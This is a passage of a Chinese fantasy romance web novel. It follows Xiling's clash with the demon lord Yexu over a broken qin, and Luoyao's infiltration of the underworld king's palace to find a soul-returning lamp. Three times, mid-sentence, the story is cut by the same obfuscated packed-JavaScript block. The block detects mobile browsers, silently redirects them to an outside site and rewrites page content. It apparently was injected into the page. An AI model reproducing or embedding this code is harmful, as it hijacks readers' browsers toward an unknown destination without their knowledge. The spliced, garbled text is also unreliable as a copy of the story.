羲泠的确经常下界救助伤者,可那些小伤对她来说都不足一提,大多数时候只要挥一挥衣袖就能解决,这次居然让她破坏了清月琴,不知是多么严重的伤势。 要知道,上次让她琴弦尽断的可是…… 朝梧心头一紧,虽然没有宣之于口,但已经隐隐生出担忧来。 羲泠调整好心绪,状态已经比刚才自然多了,“当然了,我还能骗你不成?” 见事情败露,她索性不藏了,把破损了的琴重新放回到琴桌上。 朝梧走近,蹲在桌前仔细查看,叹了口气,“琴弦接不上,必须要去找琉璃蚕丝了。” 羲泠沉默着点了点头。 方才她一直在尝试重新接上琴弦,但都无果,眼下唯一的办法就是去魔界找到琉璃天蚕的洞穴,拿到琉璃蚕丝。 其实以神族的地位,平时想要什么东西只消一句传讯,下界就会很快呈送上来,琉璃蚕丝虽然百年一生,但用途不广,算不上多么珍贵。 无奈它在魔界,以羲泠的性子,是一定不会撇下面子问孤妄崖讨要东西的。 “走吧,左右没事,我和你一起去。” 朝梧舒了口气,站起来道,但羲泠摇了摇头,“你在人间奔波了那么久,还是留下休息吧,我自己去。” 她说着,一边抱起琴。那双眸子与其兄相似,琥珀般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202260|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的底色里泛着一抹淡淡的金茫,像清晨撒入窗牖的曦光,耀眼而不刺眼。 相比其兄的温和沉静,她的目光里却常含着固执。 看着眼前比自己矮半头的少女,朝梧到底没有再坚持,眼露无奈,伸手揉了揉她头顶。 …… 羲泠刻意收敛气息,来到了魔族地界。 她翻越山水,只身潜入了湿地深处,没有惊动任何人,很快循着记忆里的位置找到了琉璃天蚕的洞穴。 山壁一颤,沉睡着的琉璃天蚕被外面刻意制造出的声响惊动,愤怒地爬出了洞穴,朝着入侵者的方向吐出了蚕丝。 羲泠躲过攻击,旋即变作真身白狐与之周旋,她有意地将琉璃天蚕引至不远处的低矮丛林,又长又韧的蚕丝勾缠在枝桠间,在光影里反射出五彩斑斓的光。 论体型,白狐在琉璃天蚕这个庞然大物面前称得上娇小玲珑,但胜在身姿灵活,羲泠没有施展神力,游刃有余地穿梭在林间,将琉璃蚕丝全部收入了囊中。 天边不复晴朗,忽然变得乌云沉沉,一道紫影划过,落向地面现了身。 羲泠发现了来人,脸色一僵,迅速从与琉璃天蚕的打斗中脱身了出来。 她变回人形,神情有些不自然,夜絮在她几步之外,话中听不出是何种情绪,“神君来魔界一趟,为何不向界主殿传讯?我也好尽地主之谊。” 羲泠不愿与他多说什么,十足公事公办的口吻,“我来只为办一件小事,很快就会离开,就不必劳烦魔尊了。” 毫不意外地被她拒绝,夜絮的目光沉了几分,缓缓走向她。 羲泠没有退后,如同和他较劲一般,偏过了头。 隔着半步距离,夜絮能清晰地看见她倔强的五官轮廓,曾经那双时刻发着光的杏眸,现在却沉寂下来,连一个眼神都不愿分给他。 “就那么不愿意见我?”他喉咙微哑。 羲泠立刻抬起眼,冷冷道:“自作多情。” 夜絮习惯了她冷淡的态度,只是自嘲地笑了笑,自觉向后退开半步,拉开了两人的距离。 琉璃天蚕感受到同族统治者霸道的气息,早已没了方才的气焰,闷声不响缩回了洞穴。 羲泠的蚕丝还没收集完,眼下没了机会,心中对眼前人的不满更深了一层。 对此,夜絮浑然未觉,询问她的语调平稳,“为什么好端端地来取琉璃蚕丝,清月琴的琴弦坏了?” 他毫不费力地就猜了出来,隐瞒也是无用,羲泠不置可否,扫了一眼已经拿到手的蚕丝,只达到了一半的量。 “还不够。”她道。 如果仅仅只是因为灵力波动损坏了一两根弦,这么多蚕丝就完全够用。夜絮原本是这样认为的,但现在看来并非如此。 他隐隐意识到什么,目光渐寒。 这世间没有多少伤病能难倒羲泠,更不用说让她动用清月琴,付出弦断琴毁的代价。 之所以会出现这种情况,一定有两个原因,一是受她所救之人重伤,本身就需要她全力疗愈;二是那人的伤势让她心绪波动,极度伤悲,施展神力救治时才会疏忽,失手弹断了琴弦。 五千年前,清月琴第一次在她手中发生毁坏,今日是第二次。 15. 晴光业火(六) 思及此,夜絮胸膛起伏,“是谁?” 是谁让你如此在意,才在为他疗伤的时候损坏了清月琴? 羲泠先是愣了愣,不过很快明白了他的意思,刚刚平静不久的脸色复又冷了下来。 “不关你的事。” 说完,她便准备越过他,却被一把握住了手臂。 夜絮不让她走,那双深潭般的黑眸不似往日倨傲,里面含着伤痛、挣扎,甚至祈求,“阿泠,告诉我,是谁?” 羲泠忍了又忍,半晌不作声,她望着他,须臾,说不清是心软还是什么情绪使然,“上次羲洵闭关时意外神魂受损,我为他疗伤才损坏了清月琴,不行吗?” “羲洵闭关是为炼制神器,以他的修为,怎么会因此而受伤?” 她说得含混,让夜絮难以相信,一时间失了分寸,抓住她手臂的力度更大了,“究竟是谁,仙族,灵族?还是之前就爱慕你的那个——” 这番近乎盘问的话语彻底点燃了羲泠心中的怒火,她重重甩开了他,口不择言道:“就算不是羲洵又怎么样,你是谁,你凭什么管束我?我的琴弦能为了救你断一次,就能为别人断第二次!” 夜絮愣在原地,面上逐渐失了血色。 从前,世人不知神明也能陨落,直到那天风雨瓢泼,雷电夺去日月的光辉,将昔日高高在上的巫神贬入了尘泥。 天际之间阴沉无光,他从神坛跌落,无声无息地坠了下去,满身是血,像一片漂泊无依的枫叶,白狐嘴上说着什么仇什么恨,最后还是跳出云间托住了他的身体,陪他一同落向地面。 他的神骨被强行剔除,已经出现了魂飞魄散的前兆,冰冷的雨水稀释了他身上的血迹,留下满地猩红。 为了给他续命,羲泠无视天道的警告,不顾一切地动用了全部神力,清月琴在她指间铮鸣不止。 那一次,她足足弹了三天三夜,最后十指全是血,琴弦尽数崩断。 她救了他,待他终于艰难醒转,她却头也不回地离开了,半步都没有停留。 他是谁? ……他到底是谁呢? 夜絮有些茫然地想着,半晌,理智才艰难地将他拖回了现实——他早已不是过去那个干净无暇的神明了。 羲泠急喘着气,这时才意识到自己方才说了多么伤人的话,但话已出口,岂有收回的道理? 她心里一团乱麻,仓皇地转身离去,不过走出去几步,却被人从身后拥住了,“阿泠……” 男人低哑的声音传入耳朵,顿时让羲泠浑身僵住了。 她能感受到那熟悉的气息、温度,隔着轻薄的布料,连彼此心脏的跳动声都清晰可闻。 有多久没有这样挨近过她了? “我们从前不是这样的。” 夜絮近乎贪恋地感知着她的体温,眼底划过痛色,“你在神位多年,还是不能原谅我吗?” 其实羲泠清楚,当年仙界的惨祸是由老魔尊一手酿成,那时夜絮早已飞升离开魔界,根本怪不到他头上。 起初,她也想用这个理由说服自己,直到夜絮陨落回到魔界,再度成为了魔族的一份子。 神明爱众生,对待六界一视同仁,对就是对,错就是错,巫神夜絮可以正视魔族犯下的错误,但魔尊夜絮不能,入主界主殿后,他开始遮掩先辈的过失,只为保全孤妄崖的尊严,不论是自愿还是违心。 这是他身在其位必须做出的选择,代价是每走一步,都要与心上人渐行渐远。 “我与魔尊素无过节,谈何‘原谅’?” 羲泠忍着泪意,从喉间逼出一声嗤笑,“说起来,我还要多谢魔尊,如果没有当年魔族‘出力’,我也不会那么快就登上神位。” 她近乎残忍地揭开了横在两人之间的伤疤,夜絮的呼吸本就不稳,听后遽然停了一瞬,紧接着剧烈颤抖起来。 世间修炼者仰望神族,将飞升视作毕生宏愿,然而数万年沧海桑田,真正修出过神骨的也不过寥寥九人。 现存神族之中,羲洵、沧丞、朝梧……以及夜絮自己,他们修炼万年,才终于扛过雷劫得以飞升,但羲泠不同,她是众神之间年纪最小的一个,也是唯一通过乾坤道飞升的神明。 凡各界先贤为大义牺牲,其后代可以挑战乾坤道试炼,如若通过,就可以继承先辈修为登神。可以说,乾坤道是为各界天骄开放的一条特权之路,亦是天道对忠烈之后最后的悲悯——当年魔族援兵来迟,老仙主华辛牺牲,于神魂将散之际托付遗愿,羲泠因失去至亲悲痛欲绝,痛哭数日不止,最终还是擦干眼泪,选择踏上了这条道路。 千万年来,乾坤道试炼无一人成功通过,直到那天羲泠飞升,属于音律神的启世明光照彻了整个天地云霄。 她生性活泼爱自由,本无成神之心,若五千年前魔界支援及时,那场惨剧没有发生,她便永远不会挑战乾坤道。 夜絮想争辩,想反驳,却偏偏一句话都说不出。他何尝不知,族仇家恨,是他们之间永远跨不过去的鸿沟。 他脸色惨白,一阵无力感袭卷了全身,缓缓松开了紧抱她的双手。 松手的那一刻,羲泠的身体跟着晃了晃,一行泪默然无声,顺着脸颊滑下来。 “回不去了……我们回不去了。” 她说着,也不知在提醒他还是警告自己,几乎是落荒而逃。 夜絮留在原地,极度悲怆下,过去因天雷留下的伤痕好像又苏醒了过来,刺得他钻心的疼。 他捂住胸口,缓慢蹲下了身体,蜷缩成一团。 …… 次日,孤妄崖还是遣使登上神山,送来了大批琉璃蚕丝。 满满一匣,足够羲泠用很久。 朝梧担心羲泠,亲自来到她的洞府,把东西交给了她。羲泠微微失神,望着手里沉重的匣子,却是一阵怅然若失。 “阿泠,莫要再和夜絮起冲突了……如果老仙主还在,一定不愿意看见你活得这么累。” 朝梧不忍,将要离开时还是停下脚步,走回她身边,后者摇摇头,脸埋在朝梧肩上,闷声不说话。 自从飞升到现在,羲泠对仙界的感情越来越平淡,从前的悲痛也越来越少,基本已经被神格消磨殆尽,有时她不愿接受,就会问自己——你还怀念蓬莱吗?还惦记华辛吗? 很淡,几乎感觉不到。 她在心里说,忘记母族,这是神的本能。 ——那为什么还恨夜絮? 她答不上来了。 羲泠闭上眼,她当然清楚自己为何如此,其实那根本不是恨,只是她通过自我催眠和不断逃避,强行包装成了“恨”的模样。 在履行神职上,音律神普救万物,对六界一视同仁,可她的神格始终不够纯粹。 因为她将所有不甘的偏执和苦痛,全都施加在了一人身上。 庭中空旷,片刻,一道略显压抑的哽咽声低低响起来。 …… 转眼到了五日后。 这天,冥都四处戒严,沿街都挂上了彩灯,衬着难得皎洁的月色,远看竟有几分人间的热闹。 界主的生辰宴乃是百年一度的盛事,因此,冥王的万寿宴人影熙攘,来的都是各界举足轻重的人物,与往常不同的是,此次竟有神明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202261|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 降临了冥界。 天光乍亮,两道颀长的身影一白一青,在举办宴席的永德台外现身。 上界的众神清心寡欲,极少在各族举办的宴会上露面,没想到会毫无征兆地驾临。 众人感到意外,纷纷揖手行礼,东道主伯池亦是始料未及,忙亲自起身迎接来人,不忘连声告罪。 沧丞依旧是一副随和的模样,见谁都带笑,摆了摆手,“冥王的万寿宴如此隆重,我们两个闲来无事,便过来凑一凑热闹。诸位不必在意我们,尽兴就好。” 尽管沧丞这样说,但神明面前,又有几人敢松懈?都显得拘谨了不少,心中又暗暗艳羡:也不知伯池是如何表现的,竟有这天大的面子,能让神明亲临为他贺寿。 其他人怎样想,羲洵和沧丞只当作不知,由着伯池引进宫殿,毫不意外地被安排在了最首的位置。 落座后,丝竹弦声尽起。沧丞装作无意地望了一眼羲洵,见他好整以暇,丝毫没有进行下一步的态势,暗暗摸不着头脑。 这些日子,羲洵和珞瑶在冥界寻找归魂灯,神山上的众神也没闲着,四处打探“雾河”到底是何方神圣,与其他几位神君相比,沧丞窝在自己的地盘足不出户,几乎翻遍了神界留存的所有先贤古籍,各种晦涩难懂的古体字和咒文看得他不知今夕何夕,至今眼前都在冒星星。 现在,他被羲洵招来坐在这寿宴首席上,看似是件难得放松的美差事,实际上耳听八方眼观六路,精神高度紧绷,还不如睡在书阁里做一只迷茫的书虫。 羲洵看起来泰然自若,一身月白色长袍纤尘未染,下摆随意铺叠在光洁的地面上,冥宫的随侍为他斟上酒,他也从容地喝了,举手投足没有半点别有用心的迹象。 看着杯盏里黑漆漆的露酒,羲洵喝得自然,沧丞将信将疑地跟着尝了一口,齁得差点吐出来。 这冥王的品位还真是独特…… 他忍辱负重,到底还是咽了下去,用折扇掩了面容,问羲洵:“你说让我帮你来找归魂灯,现在却在这儿傻坐着,如何能找到?” 羲洵不置可否,眸中泛起一点不易察觉的笑意。 “你看门口。”他道。 沧丞未解,目光随着羲洵望向外面,却看见了一个令他意想不到的生物——殿门外衣裙缥缈,小小一只的丹狸冲着他们挤眉弄眼,顶着透明的身形晃了晃尾巴尖,在幻术失效之前脚底抹油般溜走了。 沧丞一愣,压低声音道:“那不是珞瑶的小红猫吗,它怎么会在这儿?珞瑶人呢?” 事情发生得匆忙,一个时辰前沧丞还在书堆里,转眼便被羲洵的一只传音蝶薅到了冥界,现在只知“要找归魂灯”和“伯池有问题”两件事,至于谁去找、如何找则一概不知情,就连原本和羲洵在一起的珞瑶去了哪里,他都没来得及问。 神明威严,无人胆敢直视,低语时也无人敢生出窥探之意。 羲洵以酒盏掩唇,道:“珞瑶在暗,我们在明为她打掩护,若有变故,自有丹狸传音。” 沧丞思索一番,渐渐从他简练的交代里品出味来,伯池疑心重,难怪羲洵和珞瑶要分头行动,还把他从神山上拉了下来。 若他猜得不错,珞瑶现在应该已经潜入冥宫了,有他和羲洵坐在这里,饶是珞瑶那边因为些许疏忽暴露了马脚,伯池也不好走开。 “好计谋。” 沧丞赞道。有了心理准备,他的担忧少了许多。 羲洵放下酒盏,目光不着痕迹地投向坐在对面席案后的山羊胡男人,这个人,也算他们这次行动的目标之一。 伯池手下最宠信的大臣,楚阴侯。 16. 晴光业火(七) 沧丞猜得不错,另一边,纭姬和珞瑶遮蔽了气息,悄无声息地进入了冥宫。 这里的建筑以黑色和银色为主,内设大都华丽大气,是与澜渊完全不同的景象。 纭姬跟随嬴夫人多年,对冥宫可谓是了如指掌,两人幻化成鬼魂形态,扮作女官装束一路深入,巧妙躲过了所有布防,穿越诸多宫殿,最后来到了最中心的界主殿前。 冥王伯池处理政务的地方,后殿便是他的寝殿。 “就是这里了。” 纭姬道,望着眼前宏伟肃穆的建筑,眸子里暗光涌动。 曾经,明明她们也是这里的主人,如今却鸟尽弓藏,遭人背弃。 “自从夫人落败,伯池就在界主殿周围设下了针对嬴氏的结界,唯恐夫人逃出焰息山篡他的权,我进不去,只有在外面等着圣女了。” 两人躲在假山后,前方便是界主殿,纭姬认真叮嘱,把所有能想到的事项都悉数告知。 “圣女记住,进去寝宫后如果看到有鬼火飘荡在角落,一定不要靠近,那些都是伯池的眼线,一经碰触,他就能立刻感知到你的存在。” 珞瑶点了点头,把她的话一一记在了心里,端起提前截下的政务卷宗,向大殿门口走去。 珞瑶自己封印了一部分灵力,又扮成了女官的模样,果然没有被外面的重重侍卫发现问题,很顺利地进入了内殿。 这个时辰,原本侍奉在界主殿的内侍都出去吃酒了,偌大的殿里只有珞瑶一个人。 她不动声色环视一周,直奔后殿寝宫的方向去,甫一踏足,便看见纭姬说过的鬼火团分布在四个角落,正无声闪烁着。 这些火苗看上去单纯无害,只作简单的照明之用,其实里面大有文章,每簇火苗都有各自照亮的范围,但这一范围的界限究竟在何处是极难分辨出的。 一旦走进它们照亮的地方,就触碰了界主殿的禁制。 珞瑶用目光大致推测了一下鬼火能监控到的空间,随后放轻脚步,每一步都精准地踩在了安全的区域。 她悄然前行,靠近了深处伯池所居的床榻,检查一圈,什么都没有发现。 不在这里。 寂静的环境里,珞瑶眯了一下眸子,视线扫过周遭的窗牖、乌木几案、银丝麒麟纹屏风,都没有发现归魂灯的线索。 伯池对归魂灯极为重视,想必不会放在一眼就能看见的地方。 循着这一念头,珞瑶缓缓踱步,观察四周的陈设和物件,衣角擦过一只空的琉璃花樽,发出几声泠泠的轻响。 她有所觉,蓦地停了下来。 角落,那只不起眼的花樽微微晃动了几下,却没有倒下去,又自顾自站稳了。 以这只花樽中间宽上下窄的外形,本不该如此稳固。 珞瑶心中有了一个隐约的猜测,弯腰握住花樽,使力一转—— 下一刻,那扇银丝麒麟屏风从中间分成了两半,云雾散去,一间暗室赫然映入了眼帘。 各界王室为了保护灵宝不遭盗窃,通常会修建机关暗室或秘窖用以储存,不过珞瑶确实没想到,伯池会将冥族暗室设置在自己的寝宫。 暗室门口,千丝万缕的蛛网缠绕着,几乎将整个通道都围了起来。 珞瑶靠近,看见细细的蛛丝上灵力涌动,原来,这蛛网并非荒废破旧的痕迹,而是类似于那些鬼火的“眼线”。 蛛网被破,意味着暗室遭窃,整个冥宫都将被惊动,消息应该也会立刻传到伯池的耳朵里。 好在这蛛网对修为的要求并不高,以她现在自封灵力的状态,依然可以轻松穿过去。 珞瑶观察清楚了,正想化作一缕轻烟飘进去,这时候,界主殿外面突然传来了声音。 殿外,侍卫牢牢守着门,一个高大的男人立在他们对面,武将装束,外面披着件银灰色的狐皮裘氅,繁复的珠链挂在上面,更添了几分令人不敢直视的贵气。 “我在这里察觉到了幽族的气息,要进去排查一番。”男人道。 为首的侍卫首领恭敬行礼,却没有让路,“将军说笑了,界主殿重重把守,怎会潜藏幽族?” 男人面不改色道:“眼下已有高阶幽祟入界,不怕一万,就怕万一,我总要为冥王的安危负责。” “冥王的安危自有我等护卫,就不劳将军费心了。” 侍卫首领低首道,全然没有开门的意思,男人笑意未褪,目光却渐渐变冷,那双暗红色的眸子里流露出危险。 “若我今日非要进去呢?”他道。 气氛顿时剑拔弩张起来,侍卫首领似有所忌惮,半晌没说话,身边的手下低声提醒:“统领,圣使监管族界,的确有权随时出入界主殿……” 界主没有过明晰的命令,他们理应按照规矩行事。 侍卫首领权衡片刻,还是退让一步,决定妥协,“既然将军执意如此,属下也不好抗命,只是切记不要踏足后殿,将军在冥界多年,应该知道王不喜他人踏足自己的寝宫。” “放心,我对那里没兴趣。” 高大沉重的殿门缓缓打开,侍卫恭敬让开了道路,男人大步走了进去。 由于离得远,珞瑶只听见侍卫称来人为“将军”,其他的话基本上都没有听清楚。 她借送公文的名义潜入界主殿,刚刚打开暗室的机关,谁成想会有人突然到来? 这一变故将珞瑶打了个措手不及,却也别无他法,立刻重新回到那琉璃花樽面前,打算先关上暗室门,等打发了来者再行动。 然而,令珞瑶意想不到的事发生了——当她再度旋拧花樽的时候,那黑洞洞的暗室却没有半点关闭的反应,她又转了几次,竟还是分毫未动。 看来,这又是一个冥族针对盗窃者的圈套。 蛛网是保护暗室的第一道屏障,纵有实力高深者成功潜了进去,但这里机关复杂,大门只要打开就没有那么容易关上,终归无法神不知鬼不觉地全身而退。 不过几息功夫,那道气息变得越来越近,明显正朝她的位置而来,而且根据身上的气息判断,来人应非等闲之辈。 珞瑶心下微紧,封印自身灵力后她无法藏匿,好在事先化成了界主殿女官的样貌,倘若伪装得好,应该不会引人疑心。 她保持冷静,自然地走了出去。 “谁?” 后殿深处传来轻响,男人停下脚步,目光投向声音来处,只见一个女子缓缓从厚重的纱帐后现了身,长相平常,着女官衣袍,却不是平时那些内侍卑躬屈膝的姿态,腰板挺得极直。 她从内室走出来,冷如清水的眸子就那么直直地对上了他的目光,没有半分低眉顺眼的自觉。 难得在冥宫里见到一个如此另类的侍从,男人莫名起了点兴趣,“你是侍奉冥王的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202262|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女官?我好像从未见过你。” 男人观察珞瑶的同时,珞瑶也在不动声色地观察他,却在看清他面容的那一刻怔了怔。 高鼻深目,暗红色的瞳眸……这张脸,竟然与她上次梦境中看到的那个男人一模一样。 她为什么会梦到他? 如果梦境是假的,她对其中缘由不得而知,兴许是巧合;如果是真实发生过的事,她与此人分明素未谋面。 珞瑶心下微惊,但面上没有表露出半分,暗暗思量着如何回答他的话。 男人衣着华贵,外面的侍卫又称他为将军,证明应该是个有头有脸的人物,不过冥族的女官品级都颇高,未必会被此人压一头,更不用说她现在的身份还是冥王的御前女官。 思及此,珞瑶没有答他的话,而是选择了一个折中的回应:“我也从未见过将军。” “你倒是胆子大。” 男人的声音听不出喜怒,眯起眸子,抱臂走到她面前,审视的视线毫不遮掩地打量着眼前人,绕到她身后时,他的脚步几不可察地顿了一下。 好熟悉的气息…… 他目光微动,悄然勾起了唇角。 “也罢,看来你真是新来的女官。先前我镇守边疆,刚刚被调回都城不久,你不认识我也正常。” 许是心情好,男人并未发怒,语气颇为随意,好像方才表露出的压迫感都是假象。 “以后,我们应该会经常见面的。” 他话中似有深意,珞瑶抬起眼,他却没有再说什么,径自越过她,走向她出来的内室深处。 他原本不打算踏足伯池的寝殿,过来只是为了从送来的奏折中截走几本军务,可是没办法,现在他改变主意了。 男人闲庭信步,轻而易举避过了鬼火监控着的亮圈,走过宽敞华丽的卧榻,那间幽深的暗室没能关上门,就这么大敞着进入了他的眼帘。 他目光锁在那处,先是意外地沉了沉,但很快便反应过来。 “原来他把暗室迁到了这里,难怪这些年对他的寝宫严防死守,生怕人发现。”男人一嗤。 珞瑶没有出声,但心逐渐放了下来。也许这个人不清楚界主殿女官的权力大小,也许这些女官本就深受伯池信任,有权开启冥族暗室。 无论是何种原因,总之,他暂时没有怀疑到她头上。 这时,男人回头望向她,好整以暇地挑了挑眉。 “既然都打开了,何不进去看看?走吧。” 对这间暗室来说,真正保险的禁制在于界主殿外的侍卫,和寝宫周遭长燃不息的鬼火,门前的蛛网起最后屏障的作用,但威力并不算多么强。 说完,男人的身形渐渐变得透明,化作真身鬼魂,自顾自穿过了蛛网缝隙。 珞瑶见状也跟了上去,无声无息飘进了暗室。 这里的空间宽阔,但环境阴寒昏暗,倒与六界对冥族的印象十分符合。 珞瑶手中擎着烛台,烛光渐盛,很快点亮了周遭,紧挨墙壁的乌木雕花架足有几人高,其上摆着数不清的灵物法器,均是天下无二的珍贵秘宝。 她目光逡巡过满室珍宝,往里面走了几步,最后锁定在最深处的玉龛顶部。 一盏灰琉璃制成的灯静静立在上面,灯芯未燃,充盈的灵力悄然涌动着,将整个灯身映成了流光溢彩的颜色。 果然在这里。